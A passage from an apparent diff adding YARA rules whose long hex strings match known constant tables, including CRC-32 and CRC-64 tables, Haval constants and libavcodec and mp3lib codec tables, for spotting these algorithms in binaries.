a004c11db066f274c0588479a03ab710d024686360465b0a10782d07701a1e6e004c11db702e22b2001054bf607267d6106cb8a5a00e8bccd030fdc1b052cea8c00d4326d06f704fa0510642c033352bb02dea58004fd9317071af3c10139c5560569796c034a4ffb00ad2f2d068e19ba0763ee810140d81602a7b8c004848e57017c56b6075f602104b800f7029b36600376c15b0555f7cc06b2971a0091a18d0791d40101b2e296025582400476b4d7059b43ec03b8757b005f15ad067c233a0384fbdb05a7cd4c0640ad9a00639b0d018e6c3607ad5aa1044a3a7702690ce00639b0da001a864d03fde69b05ded00c04332737021011a001f7717607d447e1022c9f00040fa99707e8c94101cbffd6002608ed06053e7a05e25eac03c1683b02608edb0443b84c07a4d89a0187ee0d006a193606492fa105ae4f77038d79e00675a1010056979603b1f7400592c1d7047f36ec025c007b01bb60ad0798563a03c8ea0005ebdc97060cbc41002f8ad601c27ded07e14b7a04062bac02251d3b07ddc5da01fef34d0219939b043aa50c05d7523703f464a000130476063032e10130476d071371fa04f4112c02d727bb033ad0800519e61706fe86c100ddb056052568b703065e2000e13ef606c20861072fff5a010cc9cd02eba91b04c89f8c009823b606bb1521055c75f7037f43600292b45b04b182cc0756e21a0175d48d048d0c6c02ae3afb01495a2d076a6cba06879b8100a4ad160343cdc00560fb57 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ultimotion_ulti_codebook__8_byt_8185_
+{
+strings:
+	$a0 = { 0001010200010203000203040001030400010204000203050002040500010405000103050002040600030506000105060001030600060606000006060000000600030407000306070001060700010407000305080004060800020608000204080008080800000808000000080004070b0005090b0002090b0002060b000b0b0b00000b0b0000000b0005090e00070b0e00030b0e0003070e000e0e0e00000e0e0000000e00060b1100080d1100040d110004091100111111000011110000001100070d14000a0f1400050f1400050a14001414140000141400000014000b12170005121700050c17001717170000171700000017000d141a0006141a00060d1a001a1a1a00001a1a0000001a000e161d0007161d00070f1d001d1d1d00001d1d0000001d00101820000818200008102000202020000020200000002000232323000023230000002300121b2400091b2400091224002828280000282800000028002e2e2e00002e2e0000002e0102020301020304010304050102040501020305010304060103050601020506010204060103050701040607010206070102040701070707010107070101010701040508010407080102070801020508010406090105070901030709010305090109090901010909010101090105080c01060a0c01030a0c0103070c010c0c0c01010c0c0101010c01060a0f01080c0f01040c0f0104080f010f0f0f01010f0f0101010f01070c1201090e1201050e1201050a1201121212010112120101011201080e15010b10150106101501060b15011515150101151501010115010c13180106131801060d18011818180101181801010118010e151b0107151b01070e1b011b1b1b01011b1b0101011b010f171e0108171e0108101e011e1e1e01011e1e0101011e01111921010919210109112101212121010121210101012101242424010124240101012401131c25010a1c25010a1325012929290101292901010129012f2f2f01012f2f0101012f02030304020304050204050602030506020304060204050702040607020306070203050702040608020507080203070802030508020808080202080802020208020506090205080902030809020306090205070a0206080a0204080a0204060a020a0a0a02020a0a0202020a0206090d02070b0d02040b0d0204080d020d0d0d02020d0d0202020d02070b1002090d1002050d100205091002101010020210100202021002080d13020a0f1302060f1302060b1302131313020213130202021302090f16020c11160207111602070c16021616160202161602020216020d14190207141902070e19021919190202191902020219020f161c0208161c02080f1c021c1c1c02021c1c0202021c0210181f0209181f0209111f021f1f1f02021f1f0202021f02121a22020a1a22020a122202222222020222220202022202252525020225250202022502141d26020b1d26020b1426022a2a2a02022a2a0202022a023030300202303002020230030404050304050603050607030406070304050703050608030507080304070803040608030507090306080903040809030406090309090903030909030303090306070a0306090a0304090a0304070a0306080b0307090b0305090b0305070b030b0b0b03030b0b0303030b03070a0e03080c0e03050c0e0305090e030e0e0e03030e0e0303030e03080c11030a0e1103060e1103060a1103111111030311110303031103090e14030b10140307101403070c14031414140303141403030314030a1017030d12170308121703080d17031717170303171703030317030e151a0308151a03080f1a031a1a1a03031a1a0303031a0310171d0309171d0309101d031d1d1d03031d1d0303031d03111920030a1920030a122003202020030320200303032003131b23030b1b23030b132303232323030323230303032303262626030326260303032603151e27030c1e27030c1527032b2b2b03032b2b0303032b0331313103033131030303310405050604050607040607080405070804050608040607090406080904050809040507090406080a0407090a0405090a0405070a040a0a0a04040a0a0404040a0407080b04070a0b04050a0b0405080b0407090c04080a0c04060a0c0406080c040c0c0c04040c0c0404040c04080b0f04090d0f04060d0f04060a0f040f0f0f04040f0f0404040f04090d12040b0f1204070f1204070b12041212120404121204040412040a0f15040c11150408111504080d15041515150404151504040415040b1118040e13180409131804090e18041818180404181804040418040f161b0409161b0409101b041b1b1b04041b1b0404041b0411181e040a181e040a111e041e1e1e04041e1e0404041e04121a21040b1a21040b132104212121040421210404042104141c24040c1c24040c142404242424040424240404042404272727040427270404042704161f28040d1f28040d1628042c2c2c04042c2c0404042c04323232040432320404043205060607050607080507080905060809050607090507080a0507090a0506090a0506080a0507090b05080a0b05060a0b0506080b050b0b0b05050b0b0505050b0508090c05080b0c05060b0c0506090c05080a0d05090b0d05070b0d0507090d050d0d0d05050d0d0505050d05090c10050a0e1005070e1005070b10051010100505101005050510050a0e13050c10130508101305080c13051313130505131305050513050b1016050d12160509121605090e16051616160505161605050516050c1219050f1419050a1419050a0f190519191905051919050505190510171c050a171c050a111c051c1c1c05051c1c0505051c0512191f050b191f050b121f051f1f1f05051f1f0505051f05131b22050c1b22050c142205222222050522220505052205151d25050d1d25050d152505252525050525250505052505282828050528280505052805172029050e2029050e1729052d2d2d05052d2d0505052d05333333050533330505053306070708060708090608090a0607090a0607080a0608090b06080a0b06070a0b0607090b06080a0c06090b0c06070b0c0607090c060c0c0c06060c0c0606060c06090a0d06090c0d06070c0d06070a0d06090b0e060a0c0e06080c0e06080a0e060e0e0e06060e0e0606060e060a0d11060b0f1106080f1106080c11061111110606111106060611060b0f14060d11140609111406090d14061414140606141406060614060c1117060e1317060a1317060a0f17061717170606171706060617060d131a0610151a060b151a060b101a061a1a1a06061a1a0606061a0611181d060b181d060b121d061d1d1d06061d1d0606061d06131a20060c1a20060c132006202020060620200606062006141c23060d1c23060d152306232323060623230606062306161e26060e1e26060e16260626262606062626060606260629292906062929060606290618212a060f212a060f182a062e2e2e06062e2e0606062e063434340606343406060634070808090708090a07090a0b07080a0b0708090b07090a0c07090b0c07080b0c07080a0c07090b0d070a0c0d07080c0d07080a0d070d0d0d07070d0d0707070d070a0b0e070a0d0e07080d0e07080b0e070a0c0f070b0d0f07090d0f07090b0f070f0f0f07070f0f0707070f070b0e12070c10120709101207090d12071212120707121207070712070c1015070e1215070a1215070a0e15071515150707151507070715070d1218070f1418070b1418070b1018071818180707181807070718070e141b0711161b070c161b070c111b071b1b1b07071b1b0707071b0712191e070c191e070c131e071e1e1e07071e1e0707071e07141b21070d1b21070d142107212121070721210707072107151d24070e1d24070e162407242424070724240707072407171f27070f1f27070f1727072727270707272707070727072a2a2a07072a2a0707072a0719222b0710222b0710192b072f2f2f07072f2f0707072f0735353507073535070707350809090a08090a0b080a0b0c08090b0c08090a0c080a0b0d080a0c0d08090c0d08090b0d080a0c0e080b0d0e08090d0e08090b0e080e0e0e08080e0e0808080e080b0c0f080b0e0f08090e0f08090c0f080b0d10080c0e10080a0e10080a0c10081010100808101008080810080c0f13080d1113080a1113080a0e13081313130808131308080813080d1116080f1316080b1316080b0f16081616160808161608080816080e131908101519080c1519080c1119081919190808191908080819080f151c0812171c080d171c080d121c081c1c1c08081c1c0808081c08131a1f080d1a1f080d141f081f1f1f08081f1f0808081f08151c22080e1c22080e152208222222080822220808082208161e25080f1e25080f1725082525250808252508080825081820280810202808101828082828280808282808080828082b2b2b08082b2b0808082b081a232c0811232c08111a2c083030300808303008080830083636360808363608080836090a0a0b090a0b0c090b0c0d090a0c0d090a0b0d090b0c0e090b0d0e090a0d0e090a0c0e090b0d0f090c0e0f090a0e0f090a0c0f090f0f0f09090f0f0909090f090c0d10090c0f10090a0f10090a0d10090c0e11090d0f11090b0f11090b0d11091111110909111109090911090d1014090e1214090b1214090b0f14091414140909141409090914090e121709101417090c1417090c1017091717170909171709090917090f141a0911161a090d161a090d121a091a1a1a09091a1a0909091a0910161d0913181d090e181d090e131d091d1d1d09091d1d0909091d09141b20090e1b20090e152009202020090920200909092009161d23090f1d23090f162309232323090923230909092309171f2609101f2609101826092626260909262609090926091921290911212909111929092929290909292909090929092c2c2c09092c2c0909092c091b242d0912242d09121b2d0931313109093131090909310937373709093737090909370a0b0b0c0a0b0c0d0a0c0d0e0a0b0d0e0a0b0c0e0a0c0d0f0a0c0e0f0a0b0e0f0a0b0d0f0a0c0e100a0d0f100a0b0f100a0b0d100a1010100a0a10100a0a0a100a0d0e110a0d10110a0b10110a0b0e110a0d0f120a0e10120a0c10120a0c0e120a1212120a0a12120a0a0a120a0e11150a0f13150a0c13150a0c10150a1515150a0a15150a0a0a150a0f13180a1115180a0d15180a0d11180a1818180a0a18180a0a0a180a10151b0a12171b0a0e171b0a0e131b0a1b1b1b0a0a1b1b0a0a0a1b0a11171e0a14191e0a0f191e0a0f141e0a1e1e1e0a0a1e1e0a0a0a1e0a151c210a0f1c210a0f16210a2121210a0a21210a0a0a210a171e240a101e240a1017240a2424240a0a24240a0a0a240a1820270a1120270a1119270a2727270a0a27270a0a0a270a1a222a0a12222a0a121a2a0a2a2a2a0a0a2a2a0a0a0a2a0a2d2d2d0a0a2d2d0a0a0a2d0a1c252e0a13252e0a131c2e0a3232320a0a32320a0a0a320a3838380a0a38380a0a0a380b0c0c0d0b0c0d0e0b0d0e0f0b0c0e0f0b0c0d0f0b0d0e100b0d0f100b0c0f100b0c0e100b0d0f110b0e10110b0c10110b0c0e110b1111110b0b11110b0b0b110b0e0f120b0e11120b0c11120b0c0f120b0e10130b0f11130b0d11130b0d0f130b1313130b0b13130b0b0b130b0f12160b1014160b0d14160b0d11160b1616160b0b16160b0b0b160b1014190b1216190b0e16190b0e12190b1919190b0b19190b0b0b190b11161c0b13181c0b0f181c0b0f141c0b1c1c1c0b0b1c1c0b0b0b1c0b12181f0b151a1f0b101a1f0b10151f0b1f1f1f0b0b1f1f0b0b0b1f0b161d220b101d220b1017220b2222220b0b22220b0b0b220b181f250b111f250b1118250b2525250b0b25250b0b0b250b1921280b1221280b121a280b2828280b0b28280b0b0b280b1b232b0b13232b0b131b2b0b2b2b2b0b0b2b2b0b0b0b2b0b2e2e2e0b0b2e2e0b0b0b2e0b1d262f0b14262f0b141d2f0b3333330b0b33330b0b0b330b3939390b0b39390b0b0b390c0d0d0e0c0d0e0f0c0e0f100c0d0f100c0d0e100c0e0f110c0e10110c0d10110c0d0f110c0e10120c0f11120c0d11120c0d0f120c1212120c0c12120c0c0c120c0f10130c0f12130c0d12130c0d10130c0f11140c1012140c0e12140c0e10140c1414140c0c14140c0c0c140c1013170c1115170c0e15170c0e12170c1717170c0c17170c0c0c170c11151a0c13171a0c0f171a0c0f131a0c1a1a1a0c0c1a1a0c0c0c1a0c12171d0c14191d0c10191d0c10151d0c1d1d1d0c0c1d1d0c0c0c1d0c1319200c161b200c111b200c1116200c2020200c0c20200c0c0c200c171e230c111e230c1118230c2323230c0c23230c0c0c230c1920260c1220260c1219260c2626260c0c26260c0c0c260c1a22290c1322290c131b290c2929290c0c29290c0c0c290c1c242c0c14242c0c141c2c0c2c2c2c0c0c2c2c0c0c0c2c0c2f2f2f0c0c2f2f0c0c0c2f0c1e27300c1527300c151e300c3434340c0c34340c0c0c340c3a3a3a0c0c3a3a0c0c0c3a0d0e0e0f0d0e0f100d0f10110d0e10110d0e0f110d0f10120d0f11120d0e11120d0e10120d0f11130d1012130d0e12130d0e10130d1313130d0d13130d0d0d130d1011140d1013140d0e13140d0e11140d1012150d1113150d0f13150d0f11150d1515150d0d15150d0d0d150d1114180d1216180d0f16180d0f13180d1818180d0d18180d0d0d180d12161b0d14181b0d10181b0d10141b0d1b1b1b0d0d1b1b0d0d0d1b0d13181e0d151a1e0d111a1e0d11161e0d1e1e1e0d0d1e1e0d0d0d1e0d141a210d171c210d121c210d1217210d2121210d0d21210d0d0d210d181f240d121f240d1219240d2424240d0d24240d0d0d240d1a21270d1321270d131a270d2727270d0d27270d0d0d270d1b232a0d14232a0d141c2a0d2a2a2a0d0d2a2a0d0d0d2a0d1d252d0d15252d0d151d2d0d2d2d2d0d0d2d2d0d0d0d2d0d3030300d0d30300d0d0d300d1f28310d1628310d161f310d3535350d0d35350d0d0d350d3b3b3b0d0d3b3b0d0d0d3b0e0f0f100e0f10110e1011120e0f11120e0f10120e1011130e1012130e0f12130e0f11130e1012140e1113140e0f13140e0f11140e1414140e0e14140e0e0e140e1112150e1114150e0f14150e0f12150e1113160e1214160e1014160e1012160e1616160e0e16160e0e0e160e1215190e1317190e1017190e1014190e1919190e0e19190e0e0e190e13171c0e15191c0e11191c0e11151c0e1c1c1c0e0e1c1c0e0e0e1c0e14191f0e161b1f0e121b1f0e12171f0e1f1f1f0e0e1f1f0e0e0e1f0e151b220e181d220e131d220e1318220e2222220e0e22220e0e0e220e1920250e1320250e131a250e2525250e0e25250e0e0e250e1b22280e1422280e141b280e2828280e0e28280e0e0e280e1c242b0e15242b0e151d2b0e2b2b2b0e0e2b2b0e0e0e2b0e1e262e0e16262e0e161e2e0e2e2e2e0e0e2e2e0e0e0e2e0e3131310e0e31310e0e0e310e2029320e1729320e1720320e3636360e0e36360e0e0e360e3c3c3c0e0e3c3c0e0e0e3c0f1010110f1011120f1112130f1012130f1011130f1112140f1113140f1013140f1012140f1113150f1214150f1014150f1012150f1515150f0f15150f0f0f150f1213160f1215160f1015160f1013160f1214170f1315170f1115170f1113170f1717170f0f17170f0f0f170f13161a0f14181a0f11181a0f11151a0f1a1a1a0f0f1a1a0f0f0f1a0f14181d0f161a1d0f121a1d0f12161d0f1d1d1d0f0f1d1d0f0f0f1d0f151a200f171c200f131c200f1318200f2020200f0f20200f0f0f200f161c230f191e230f141e230f1419230f2323230f0f23230f0f0f230f1a21260f1421260f141b260f2626260f0f26260f0f0f260f1c23290f1523290f151c290f2929290f0f29290f0f0f290f1d252c0f16252c0f161e2c0f2c2c2c0f0f2c2c0f0f0f2c0f1f272f0f17272f0f171f2f0f2f2f2f0f0f2f2f0f0f0f2f0f3232320f0f32320f0f0f320f212a330f182a330f1821330f3737370f0f37370f0f0f370f3d3d3d0f0f3d3d0f0f0f3d1011111210111213101213141011131410111214101213151012141510111415101113151012141610131516101115161011131610161616101016161010101610131417101316171011161710111417101315181014161810121618101214181018181810101818101010181014171b1015191b1012191b1012161b101b1b1b10101b1b1010101b1015191e10171b1e10131b1e1013171e101e1e1e10101e1e1010101e10161b2110181d2110141d211014192110212121101021211010102110171d24101a1f2410151f2410151a24102424241010242410101024101b22271015222710151c27102727271010272710101027101d242a1016242a10161d2a102a2a2a10102a2a1010102a101e262d1017262d10171f2d102d2d2d10102d2d1010102d10202830101828301018203010303030101030301010103010333333101033331010103310222b3410192b3410192234103838381010383810101038103e3e3e10103e3e1010103e1112121311121314111314151112141511121315111314161113151611121516111214161113151711141617111216171112141711171717111117171111111711141518111417181112171811121518111416191115171911131719111315191119191911111919111111191115181c11161a1c11131a1c1113171c111c1c1c11111c1c1111111c11161a1f11181c1f11141c1f1114181f111f1f1f11111f1f1111111f11171c2211191e2211151e2211151a2211222222111122221111112211181e25111b20251116202511161b25112525251111252511111125111c23281116232811161d28112828281111282811111128111e252b1117252b11171e2b112b2b2b11112b2b1111112b111f272e1118272e1118202e112e2e2e11112e2e1111112e11212931111929311119213111313131111131311111113111343434111134341111113411232c35111a2c35111a2335113939391111393911111139113f3f3f11113f3f1111113f12131314121314151214151612131516121314161214151712141617121316171213151712141618121517181213171812131518121818181212181812121218121516191215181912131819121316191215171a1216181a1214181a1214161a121a1a1a12121a1a1212121a1216191d12171b1d12141b1d1214181d121d1d1d12121d1d1212121d12171b2012191d2012151d201215192012202020121220201212122012181d23121a1f2312161f2312161b2312232323121223231212122312191f26121c21261217212612171c26122626261212262612121226121d24291217242912171e29122929291212292912121229121f262c1218262c12181f2c122c2c2c12122c2c1212122c1220282f1219282f1219212f122f2f2f12122f2f1212122f12222a32121a2a32121a223212323232121232321212123212353535121235351212123512242d36121b2d36121b2436123a3a3a12123a3a1212123a131414151314151613151617131416171314151713151618131517181314171813141618131517191316181913141819131416191319191913131919131313191316171a1316191a1314191a1314171a1316181b1317191b1315191b1315171b131b1b1b13131b1b1313131b13171a1e13181c1e13151c1e1315191e131e1e1e13131e1e1313131e13181c21131a1e2113161e2113161a2113212121131321211313132113191e24131b20241317202413171c24132424241313242413131324131a2027131d22271318222713181d27132727271313272713131327131e252a1318252a13181f2a132a2a2a13132a2a1313132a1320272d1319272d1319202d132d2d2d13132d2d1313132d13212930131a2930131a223013303030131330301313133013232b33131b2b33131b233313333333131333331313133313363636131336361313133613252e37131c2e37131c2537133b3b3b13133b3b1313133b1415151614151617141617181415171814151618141617191416181914151819141517191416181a1417191a1415191a1415171a141a1a1a14141a1a1414141a1417181b14171a1b14151a1b1415181b1417191c14181a1c14161a1c1416181c141c1c1c14141c1c1414141c14181b1f14191d1f14161d1f14161a1f141f1f1f14141f1f1414141f14191d22141b1f2214171f2214171b22142222221414222214141422141a1f25141c21251418212514181d25142525251414252514141425141b2128141e23281419232814191e28142828281414282814141428141f262b1419262b1419202b142b2b2b14142b2b1414142b1421282e141a282e141a212e142e2e2e14142e2e1414142e14222a31141b2a31141b233114313131141431311414143114242c34141c2c34141c243414343434141434341414143414373737141437371414143714262f38141d2f38141d2638143c3c3c14143c3c1414143c15161617151617181517181915161819151617191517181a1517191a1516191a1516181a1517191b15181a1b15161a1b1516181b151b1b1b15151b1b1515151b1518191c15181b1c15161b1c1516191c15181a1d15191b1d15171b1d1517191d151d1d1d15151d1d1515151d15191c20151a1e2015171e2015171b20152020201515202015151520151a1e23151c20231518202315181c23152323231515232315151523151b2026151d22261519222615191e26152626261515262615151526151c2229151f2429151a2429151a1f291529292915152929151515291520272c151a272c151a212c152c2c2c15152c2c1515152c1522292f151b292f151b222f152f2f2f15152f2f1515152f15232b32151c2b32151c243215323232151532321515153215252d35151d2d35151d253515353535151535351515153515383838151538381515153815273039151e3039151e2739153d3d3d15153d3d1515153d16171718161718191618191a1617191a1617181a1618191b16181a1b16171a1b1617191b16181a1c16191b1c16171b1c1617191c161c1c1c16161c1c1616161c16191a1d16191c1d16171c1d16171a1d16191b1e161a1c1e16181c1e16181a1e161e1e1e16161e1e1616161e161a1d21161b1f2116181f2116181c21162121211616212116161621161b1f24161d21241619212416191d24162424241616242416161624161c2127161e2327161a2327161a1f27162727271616272716161627161d232a1620252a161b252a161b202a162a2a2a16162a2a1616162a1621282d16 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x42F0E1EBA9EA3693__64_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000000000006f5fa703be4c2eb35ba040a8573684f434ffe7abe97aaa47335e8fff84c3d07b5c0128fc3a8ffec868fecf57d3f5548f07a168546db97a3c66bc1eff0987a1f709e3b9fcb7cb8f443d1c5e575eb125035243f954e0fd0bb055e291008d44718c3abd360333085f3f0e42d1a8da72f578611d76ab643edbcb4966335138a19b7d2639945286edb5ce12c673f96f971f897d99d4fad1db313a7a38bcaebc624b0615671bad022e65b52198fc06eb54cff24ec75b055518e1412fda2dae31263a8a40858aad8f6a1439747a6d066610be7e1b25ca05d85c90cd1c84a251b5e5eaf173db05520ba9c4424724e2f9e2d36e05287b45fa5c9f40b692cc66a2704237fbfd93c1a1ce0e1948c96c260a2774b30fa633810999389dbca192e95df481e780cecd4e5e4acdc933fa32a9f5a3b76374956d0ef61dfb4dc7f470785d79c5960c9b2fdf5ec789b8bfafd038f52ef312f8c08f9ff690bf3c4bc72ef7a2fd064677a87150a1434a68c49c8eb70aaa30c283f3d11009147cec30dbaa55f348e3ac86b4f5f2f0f6af8235800a155b1fd52872ef55b258a19906c1e8f4da0ccc207cfd87ab7d0f726c524eb3549aa49b16f809dc0b3da7255ad6babd164b0c41640d71d249ec0fff2823c2e6b60ba41652898589e9aca7a81ea7368e48c4f3c5a7dd0ae11763f07bebf3b9d5e8845b929159febab723582cdd774da187c3ebca2bb664ced864e8746798d7fa2783439d1d32909578244023511c2392d94c144ee8661ffd86eb17f0a448acc9790cbc19dee2eba626abbfa792cc58c73bdd14c3ac1793a8647a177de039209c9b9dbc949a9367f3c43abf2ad6bdd4f46552eb476fc7e89b3af5e8f923e95bafc512431059431cc09ab540ae156dafe8e1f0baf28a2d1987be57b94cc603aab341b012a5bca9eddc1e17111bf0875edbbf7f457649fd62b4e0d846c805d3d1801f3fed217f7996ef4098ee9f3357258e5dee45fb0d8ceee10249464541a25dd5fdaeedac3b081abaa209ee127726a9bd0361ba7fce5c95d25cc6b9c1827226e6a3211228f8d86189fc861196b4f6d2334ba549ba69819f5c14024a0425af2c68ebe5e1ed5f056b07b442e253132bd800152ab63eaa51e46f4a8db580e67f575bb56a1e699cd51034eacd1dd7d0fba355f7bbb6b3ee20683aa81cb50da20edb0e57fb1ee4d8a49c61085c1d5a948a2f66a93449372df01309f6934a8961dea03d0974e1601b74e75256d3e2de575a547a2d961882c81ae21572311b3c843451218dd6b0d5fe9e164ed271b36bb2b0a5497319e7060bca99262cbee4b847e42a12d3594f513d4e6d7d8cfe4cef7160de1c9188e78b4fbb1573ce2fe4350395a64731c84fdc793fe1286e6f4c623511522fcf07180f8c6b6e4090a01bb1c045dd746f47b058baef9a1b30e0b3e6f6c129420f87d795576cc92d5020d42b1b427a19afc77fc261e83d76f0607c7c2dc68e715108281194bcb21e0eaf2bafd892012af1488046a2384645aeef83f8ee16f524b399289cd0cd3e4bec3e2b229ce38d7f13d980cbe649ca104c7e8375aa677917ed16d718131d4578b2b1d4a65f33f64c4d567f4f2599b12312f17cf169b7020b69b486adf6f7b46436138513bad90750c9f42efac073403f96532d448c5df338373b79293527cf57689c7a9779097c63977bd17e03a33b0cc8dcd2c04f8d886dd5aa79a4715643028a0d7a1a3d78f03675ead1f347d2b7592a4dd24d0bfc045e8b258620b2863831d482859efea88b052b652e778402cc6a74c22dc9c82c7fd0c3e175e5155b32bf9c46765b5975818b63a1ddb223dfc6e43c06de0c6ff175e39d6e8a61d68b498cc2c989df9aa5fab83d2e2236e00fbdd762892188ac210eb67fff8aec92fac5d920588952ded476eddfbf22bba47e318280182105e850828521707568512abeea7ed776d61d040dde8130dd3f67ae4ab1de97de812b80f999a5d224ddb4c04ff6fa752763f8eefcc205928c8a8244bbad5a358f34ce6a08aafb5ddb59771034c5a4fad8e73b3e87f15b1d730e4194c09e04ba70b00dba73ff19ccdbd43361b890466bd86a7f4f0ba4b98c738305e54ccbe62b703d49cbffcc47432450f0b1c3a318e427eebc9f7097e7038c07c63537f8b8a48fb98a1b84e388443c5f7cdaad8cd7e33fe130f41eb8280494084a5e59d777a397b60670ead0d6cbc3dbbf0ad6bf896cc065f324658b768b6b8c898e22e4292c6832c5a09185345ac356fb7b5aea6bfdc0e8b755e9de941a6b01cdffaeb1cbbd68bf81d11db66ad53cd238ab21d935723f6c748592edca9594850e2fd5829532973b420166aaee776d67dd41d0c5b1d06ed9916f63f14e37c530ebc5249e1190c68ea7eb9799b0f892e31e91abf6ef5f915d52bf18c210b83ab428155fad4f1f390a643beccc5269926e5ae027a30dce91d016ce9497f2293a396c64d3f8ad8e3987204a60ff0ce66dea99305c9053416e54d51eefa4aca6c5bdafb4a8cbf301c603e39a1b7144229e2f3eed561e1b859d9172c3e52ae46236780869a245bbc535c6444711421aad61abfd3d2d2d450a6215b1139e19baedc9fccbb9d976e54aca4287976a17f83c6126b94ca178a79b6298f562124c587cc9718fc8552307dbcacfc3e6e624a6b39ea27a9cda4bf9149d1c36b2697f06f336f54c182e105954354b00369d382211cf179f762b577db6cca9d358986382516740a9f2df0cddf664fee5dc6c0b7c9e30935ca650642339332d1088e350dcde98c46a22a43f83799b7a260c175e9e0f301e18d7dc31c1a833a054f96f053e4f98492e53286a61e89bf7627d9b6dc080cf9adb07a7029f27cc249729143660c067cded8353593f676473a1ade0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_sample_table__flt64___64_big_2560_
+{
+strings:
+	$a0 = { 3f847ae147ae147bbf6e573ac87f9574bf60624dd2f1a9fcbf7c71c71963e721bf5e2c512b66972b3fa55555559ea25500000000000000000000000000000000bf95555554c2bb56bf8948b0ffd9eddc3fc00000000000003fac92492007f1e23fa0ee6440293772bf90d7943fd74a43bf83f605012602ba3fc40000000000003fb00000000000003fa2f684bd4fbd69bf7999999999999abf6e573ac87f95743fc98c84c0101d513fb40000000000003fa7b425e02f17543f629e411fe535953f5610e4e269d8663fc999999999999a3fb00000000000003fa2f684bfe372653f95555554c2bb563f7e573ac1a05d7e3fcb3bea4007ff693fac71c71cd3831c3fa0db209ff9284c3f95555554c2bb563f8948b0ffd9eddc3fcbd37a7ff3b73a3fa83e0f8006bdb83f9cbb54c0a6c2b03fa1c71c8030955e3f9511e8e0a9a37d3fcbd37a7ff3b73a3fa1c71c8030955e3f9511e8e0a9a37d3fa83e0f8006bdb83f9cbb54c0a6c2b03fcb3bea4007ff693f95555554c2bb563f8948b0ffd9eddc3fac71c71cd3831c3fa0db209ff9284c3fc999999999999a3f95555554c2bb563f7e573ac1a05d7e3fb00000000000003fa2f684bd4fbd693fc98c84c0101d513f629e411fe535953f5610e4e269d8663fb40000000000003fa7b425e02f17543fc4000000000000bf7999999999999abf6e573ac87f95743fb00000000000003fa2f684bd4fbd693fc0000000000000bf90d7943fd74a43bf83f605012602ba3fac92492007f1e23fa0ee64402937723fa55555559ea255bf95555554c2bb56bf8948b0ffd9eddc000000000000000000000000000000003f847ae147ae147bbf7c71c71963e721bf5e2c512b66972bbf6e573ac87f9574bf60624dd2f1a9fc3f747ae147ae147bbf947ae147ae147b3f8999999999999abfd364d936453f023f60624dd2f1a9fc3fbaaaaaa01289b93fa47ae147ae147bbf9999999999999a3fa1111110c7c411bf947ae147ae147b3fc00000000000003f847ae147ae147b3f8d41d4212f18aabfa999999f9cea91bf947ae147ae147b3fc4000000000000bf447ae147ae147bbf402e85c0440b71bf447ae147ae147bbf402e85c0440b713fc4000000000000bf447ae147ae147bbf402e85c0440b71bf447ae147ae147bbf402e85c0440b713fc0000000000000bfa999999999999abf947ae147ae147b3f847ae147ae147b3f8d41d4212f18aa3fbaaaaaaacf512a3fa1111110c7c411bf947ae147ae147b3fa47ae147ae147bbf9999999999999a3f747ae147ae147bbfd364d936453f023f60624de0b019e9bf947ae147ae147b3f8999999999999a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fc249249fe82a5b3fc0000000000000bf9d41d41f774aacbfa249249fe82a5b3f95555554c2bb563fc745d1745318693fae1e1e1fbc0d2b3fa1111110c7c4113f95c988207fba3b3f847ae147ae147b3fc745d1745318693f95c988207fba3b3f847ae147ae147b3fae1e1e1fbc0d2b3fa1111110c7c4113fc249249fe82a5bbfa249249fe82a5b3f95555554c2bb563fc0000000000000bf9d41d41f774aac00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc3__32_big_128_
+{
+strings:
+	$a0 = { 9c30d5392af26013c5d1b023286085f0ca417918b8db38ef8e79dcb0603a180e6c9e0e8bb01e8a3ed71577c1bd314b2778af2fda55605c60e65525f3aa55ab945748986263e8144055ca396a2aab10b6b4cc5c341141e8cea15486af7c72e993b3ee1411636fbc2a2ba9c55d741831f6ce5c3e169b87931eafd6ba336c24cf5c }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab_c0__16_lil_62_
+{
+strings:
+	$a0 = { E3FFEBFFF3FFF9FFFDFFFFFF0B000F00FFFF0D000E00FDFFFFFF070005000900FDFFFFFF06000300FFFF0A000C00FDFFFFFF02000100FFFF040008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x76dc4190__32_big_refl_False_
+{
+strings:
